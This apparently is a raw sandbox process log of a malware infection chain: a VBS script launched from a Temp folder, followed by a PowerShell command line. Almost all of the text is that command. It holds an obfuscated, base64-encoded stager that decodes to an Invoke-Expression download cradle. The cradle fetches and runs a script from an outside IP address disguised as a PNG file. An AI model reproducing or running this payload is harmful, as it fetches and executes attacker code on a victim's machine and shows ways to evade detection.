wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\gGEVTqnUyq.vbs
3004powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $apdfvznbyw = [<#apdfvznbyw#>Text.Encoding<#apdfvznbyw#>]::ASCII.GetString(<#apdfvznbyw#>[Convert<#apdfvznbyw#>]::FromBase64String(<#xmkzqjwgsn#>'JGYxPSdJZVgoTmUnOyRmMiA9ICRmMSsnVy1PQkonOyRmMyA9ICRmMisnZUNUIE5lVC5XJzskTE9McD0nZUJDTCc7JG0xID0gJExPTHArJ0llTic7JG0zID0gJG0xKydUKS5ET1dOTE8nOyRTQ1Y9J09AMCgmKCcnaHR0cDovLzE2Ny4xMTQuNzcuMjQ6MjIyL3QucG5nJycpJy5SZVBMQUNlKCdPQDAoJicsJ0FEU1RSSU5HJyk7SWVYKCRmMyskbTMrJFNDVik7'<#xmkzqjwgsn#>));powershell $apdfvznbyw
2212powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
2220